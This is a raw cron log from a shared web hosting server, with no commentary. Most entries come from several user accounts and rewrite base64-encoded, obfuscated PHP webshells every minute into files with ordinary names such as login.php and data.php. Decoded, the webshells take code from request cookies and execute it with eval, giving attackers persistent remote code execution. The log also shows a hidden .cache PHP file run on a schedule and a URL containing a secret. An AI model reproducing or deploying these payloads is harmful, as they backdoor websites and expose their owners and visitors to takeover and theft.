Jun  7 09:22:01 medusa CROND[28021]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:22:01 medusa CROND[28024]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:23:01 medusa CROND[29652]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:23:01 medusa CROND[29653]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:23:01 medusa CROND[29654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:23:01 medusa CROND[29655]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:23:01 medusa CROND[29656]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:23:01 medusa CROND[29657]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:23:01 medusa CROND[29658]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:23:01 medusa CROND[29661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:23:01 medusa CROND[29663]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:23:01 medusa CROND[29666]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:23:01 medusa CROND[29660]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:23:01 medusa CROND[29667]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:24:01 medusa CROND[31350]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:24:01 medusa CROND[31351]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:24:01 medusa CROND[31353]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:24:01 medusa CROND[31352]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:24:01 medusa CROND[31354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:24:01 medusa CROND[31355]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:24:01 medusa CROND[31360]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 09:24:01 medusa CROND[31363]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:24:01 medusa CROND[31365]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:24:01 medusa CROND[31364]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:24:01 medusa CROND[31372]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:24:01 medusa CROND[31376]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:24:01 medusa CROND[31378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
